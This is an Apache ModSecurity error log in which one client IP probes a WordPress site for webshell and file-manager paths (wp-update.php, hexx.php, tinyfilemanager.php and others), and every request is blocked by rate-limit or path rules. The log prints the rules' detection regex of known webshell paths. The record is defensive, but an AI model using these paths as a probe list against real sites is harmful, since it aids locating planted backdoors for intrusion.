[Mon Feb 09 00:52:45.758217 2026] [:error] [pid 6723:tid 6802] [client 20.69.252.116:48763] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/188.php"] [unique_id "aYi_XTkiu6gHwS33P0qTSgAAA1E"]
[Mon Feb 09 00:52:46.212333 2026] [:error] [pid 6663:tid 6714] [client 20.69.252.116:35184] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-update.php"] [unique_id "aYi_XmGI3uHqWdeZM76g1QAAApU"]
[Mon Feb 09 00:52:46.623766 2026] [:error] [pid 43900:tid 43909] [client 20.69.252.116:34465] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-update.php"] [unique_id "aYi_XuWrhnpm_Csk3knKDAAAAUY"]
[Mon Feb 09 00:52:47.055626 2026] [:error] [pid 6662:tid 6679] [client 20.69.252.116:34499] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-update.php"] [unique_id "aYi_X9-oEK1ut16KiNIdNQAAAk0"]
[Mon Feb 09 00:52:47.473704 2026] [:error] [pid 6663:tid 6693] [client 20.69.252.116:48747] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-update.php"] [unique_id "aYi_X2GI3uHqWdeZM76g1gAAAoA"]
[Mon Feb 09 00:52:47.908009 2026] [:error] [pid 6723:tid 6805] [client 20.69.252.116:48689] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aYi_Xzkiu6gHwS33P0qTSwAAA1Q"]
[Mon Feb 09 00:52:48.355953 2026] [:error] [pid 24421:tid 24449] [client 20.69.252.116:48716] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aYi_YKp7cTzhX5M1IP9ZbQAAABI"]
[Mon Feb 09 00:52:48.800268 2026] [:error] [pid 6663:tid 6702] [client 20.69.252.116:48726] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aYi_YGGI3uHqWdeZM76g2QAAAok"]
[Mon Feb 09 00:52:49.287602 2026] [:error] [pid 6723:tid 6803] [client 20.69.252.116:35107] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aYi_YTkiu6gHwS33P0qTTQAAA1I"]
[Mon Feb 09 00:52:49.711731 2026] [:error] [pid 9422:tid 9448] [client 20.69.252.116:34454] [client 20.69.252.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/plugins.php"] [unique_id "aYi_Ya9DqDJC68qBbyxFgwAAAZc"]
[Mon Feb 09 00:52:50.136756 2026] [:error] [pid 24421:tid 24439] [client 20.69.252.116:34553] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/111.php"] [unique_id "aYi_Yqp7cTzhX5M1IP9ZcAAAAAg"]
[Mon Feb 09 00:52:50.598837 2026] [:error] [pid 24423:tid 24496] [client 20.69.252.116:35179] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/111.php"] [unique_id "aYi_Yk3f9n1Y0TpV5YaJyAAAAIs"]
[Mon Feb 09 00:52:51.000251 2026] [:error] [pid 9422:tid 9437] [client 20.69.252.116:48715] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/111.php"] [unique_id "aYi_Yq9DqDJC68qBbyxFhgAAAYw"]
[Mon Feb 09 00:52:51.454236 2026] [:error] [pid 6663:tid 6706] [client 20.69.252.116:34523] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/111.php"] [unique_id "aYi_Y2GI3uHqWdeZM76g3AAAAo0"]
[Mon Feb 09 00:52:51.878078 2026] [:error] [pid 6663:tid 6696] [client 20.69.252.116:33879] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lc.php"] [unique_id "aYi_Y2GI3uHqWdeZM76g3gAAAoM"]
[Mon Feb 09 00:52:52.402465 2026] [:error] [pid 6630:tid 6646] [client 20.69.252.116:48678] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lc.php"] [unique_id "aYi_ZJ2jf0FBTEb_cWQRngAAAg0"]
[Mon Feb 09 00:52:52.922852 2026] [:error] [pid 6663:tid 6708] [client 20.69.252.116:34516] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lc.php"] [unique_id "aYi_ZGGI3uHqWdeZM76g3wAAAo8"]
[Mon Feb 09 00:52:53.322650 2026] [:error] [pid 43900:tid 43915] [client 20.69.252.116:35087] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lc.php"] [unique_id "aYi_ZeWrhnpm_Csk3knKEQAAAUw"]
[Mon Feb 09 00:52:53.748112 2026] [:error] [pid 6663:tid 6716] [client 20.69.252.116:34490] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hexx.php"] [unique_id "aYi_ZWGI3uHqWdeZM76g4QAAApc"]
[Mon Feb 09 00:52:54.154497 2026] [:error] [pid 43900:tid 43908] [client 20.69.252.116:33882] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hexx.php"] [unique_id "aYi_ZuWrhnpm_Csk3knKEwAAAUU"]
[Mon Feb 09 00:52:54.576900 2026] [:error] [pid 6723:tid 6801] [client 20.69.252.116:35118] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hexx.php"] [unique_id "aYi_Zjkiu6gHwS33P0qTVAAAA1A"]
[Mon Feb 09 00:52:55.101410 2026] [:error] [pid 6663:tid 6701] [client 20.69.252.116:48685] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hexx.php"] [unique_id "aYi_Z2GI3uHqWdeZM76g4wAAAog"]
[Mon Feb 09 00:52:55.502095 2026] [:error] [pid 6723:tid 6808] [client 20.69.252.116:35148] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cbrfo.php"] [unique_id "aYi_Zzkiu6gHwS33P0qTVQAAA1c"]
[Mon Feb 09 00:52:55.998166 2026] [:error] [pid 24423:tid 24499] [client 20.69.252.116:33884] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cbrfo.php"] [unique_id "aYi_Z03f9n1Y0TpV5YaJyQAAAI4"]
[Mon Feb 09 00:52:56.397119 2026] [:error] [pid 6630:tid 6650] [client 20.69.252.116:48651] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cbrfo.php"] [unique_id "aYi_aJ2jf0FBTEb_cWQRpQAAAhE"]
[Mon Feb 09 00:52:56.835110 2026] [:error] [pid 6662:tid 6669] [client 20.69.252.116:34504] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cbrfo.php"] [unique_id "aYi_aN-oEK1ut16KiNIdPAAAAkM"]
[Mon Feb 09 00:52:57.241622 2026] [:error] [pid 6662:tid 6680] [client 20.69.252.116:34452] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inc.php"] [unique_id "aYi_ad-oEK1ut16KiNIdPQAAAk4"]
[Mon Feb 09 00:52:57.788528 2026] [:error] [pid 6723:tid 6803] [client 20.69.252.116:35131] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inc.php"] [unique_id "aYi_aTkiu6gHwS33P0qTWQAAA1I"]
[Mon Feb 09 00:52:58.262016 2026] [:error] [pid 6630:tid 6643] [client 20.69.252.116:34556] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inc.php"] [unique_id "aYi_ap2jf0FBTEb_cWQRqQAAAgo"]
[Mon Feb 09 00:52:58.671210 2026] [:error] [pid 6663:tid 6700] [client 20.69.252.116:35176] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inc.php"] [unique_id "aYi_amGI3uHqWdeZM76g5gAAAoc"]
[Mon Feb 09 00:52:59.143724 2026] [:error] [pid 6630:tid 6638] [client 20.69.252.116:35097] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jquery.php"] [unique_id "aYi_a52jf0FBTEb_cWQRqgAAAgU"]
[Mon Feb 09 00:52:59.572566 2026] [:error] [pid 9482:tid 9548] [client 20.69.252.116:33874] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jquery.php"] [unique_id "aYi_a8TkGH_puEFp5zPRwAAAA8k"]
[Mon Feb 09 00:53:00.005489 2026] [:error] [pid 43900:tid 43910] [client 20.69.252.116:48643] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jquery.php"] [unique_id "aYi_bOWrhnpm_Csk3knKFQAAAUc"]
[Mon Feb 09 00:53:00.461625 2026] [:error] [pid 24421:tid 24450] [client 20.69.252.116:34441] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jquery.php"] [unique_id "aYi_bKp7cTzhX5M1IP9ZdQAAABM"]
[Mon Feb 09 00:53:00.908942 2026] [:error] [pid 6630:tid 6642] [client 20.69.252.116:33858] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aYi_bJ2jf0FBTEb_cWQRrQAAAgk"]
[Mon Feb 09 00:53:01.316731 2026] [:error] [pid 24423:tid 24508] [client 20.69.252.116:34500] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aYi_bU3f9n1Y0TpV5YaJzwAAAJc"]
[Mon Feb 09 00:53:01.720400 2026] [:error] [pid 6663:tid 6707] [client 20.69.252.116:35132] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aYi_bWGI3uHqWdeZM76g7AAAAo4"]
[Mon Feb 09 00:53:02.130930 2026] [:error] [pid 6630:tid 6656] [client 20.69.252.116:34458] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aYi_bp2jf0FBTEb_cWQRsQAAAhc"]
[Mon Feb 09 00:53:02.553155 2026] [:error] [pid 43900:tid 43911] [client 20.69.252.116:35091] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/miansha.php"] [unique_id "aYi_buWrhnpm_Csk3knKFwAAAUg"]
[Mon Feb 09 00:53:02.967681 2026] [:error] [pid 43900:tid 43921] [client 20.69.252.116:35181] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/miansha.php"] [unique_id "aYi_buWrhnpm_Csk3knKGQAAAVI"]
[Mon Feb 09 00:53:03.373328 2026] [:error] [pid 24421:tid 24432] [client 20.69.252.116:35082] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/miansha.php"] [unique_id "aYi_b6p7cTzhX5M1IP9ZdgAAAAE"]
[Mon Feb 09 00:53:03.775449 2026] [:error] [pid 24421:tid 24454] [client 20.69.252.116:34498] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/miansha.php"] [unique_id "aYi_b6p7cTzhX5M1IP9ZdwAAABc"]
[Mon Feb 09 00:53:04.184686 2026] [:error] [pid 9422:tid 9431] [client 20.69.252.116:34514] [client 20.69.252.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aYi_cK9DqDJC68qBbyxFkQAAAYY"]
[Mon Feb 09 00:53:10.093649 2026] [:error] [pid 6630:tid 6654] [client 20.69.252.116:48669] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/f355.php"] [unique_id "aYi_dp2jf0FBTEb_cWQRwQAAAhU"]
[Mon Feb 09 00:53:10.921510 2026] [:error] [pid 24421:tid 24451] [client 20.69.252.116:35141] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/f355.php"] [unique_id "aYi_dqp7cTzhX5M1IP9ZegAAABQ"]
[Mon Feb 09 00:53:11.734208 2026] [:error] [pid 24423:tid 24496] [client 20.69.252.116:48762] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/f355.php"] [unique_id "aYi_d03f9n1Y0TpV5YaJ0wAAAIs"]
[Mon Feb 09 00:53:12.551158 2026] [:error] [pid 24530:tid 24532] [client 20.69.252.116:48712] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/f355.php"] [unique_id "aYi_eEazNRCs1GRWrh478AAAAMA"]
[Mon Feb 09 00:53:12.751659 2026] [:error] [pid 9482:tid 9540] [client 20.69.252.116:34455] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "aYi_eMTkGH_puEFp5zPR4AAAA8E"]
[Mon Feb 09 00:53:13.151882 2026] [:error] [pid 9422:tid 9430] [client 20.69.252.116:34555] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "aYi_ea9DqDJC68qBbyxFmgAAAYU"]
[Mon Feb 09 00:53:13.551911 2026] [:error] [pid 9422:tid 9431] [client 20.69.252.116:35103] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "aYi_ea9DqDJC68qBbyxFnQAAAYY"]
[Mon Feb 09 00:53:13.975387 2026] [:error] [pid 9422:tid 9447] [client 20.69.252.116:34507] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "aYi_ea9DqDJC68qBbyxFnwAAAZY"]
[Mon Feb 09 00:53:14.405428 2026] [:error] [pid 9422:tid 9428] [client 20.69.252.116:35080] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8xyz.php"] [unique_id "aYi_eq9DqDJC68qBbyxFoAAAAYM"]
[Mon Feb 09 00:53:14.814654 2026] [:error] [pid 24423:tid 24488] [client 20.69.252.116:34437] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8xyz.php"] [unique_id "aYi_ek3f9n1Y0TpV5YaJ1QAAAIM"]
[Mon Feb 09 00:53:15.236126 2026] [:error] [pid 6630:tid 6644] [client 20.69.252.116:34463] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8xyz.php"] [unique_id "aYi_e52jf0FBTEb_cWQRxAAAAgs"]
[Mon Feb 09 00:53:15.668447 2026] [:error] [pid 6662:tid 6687] [client 20.69.252.116:35079] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8xyz.php"] [unique_id "aYi_e9-oEK1ut16KiNIdQgAAAlU"]
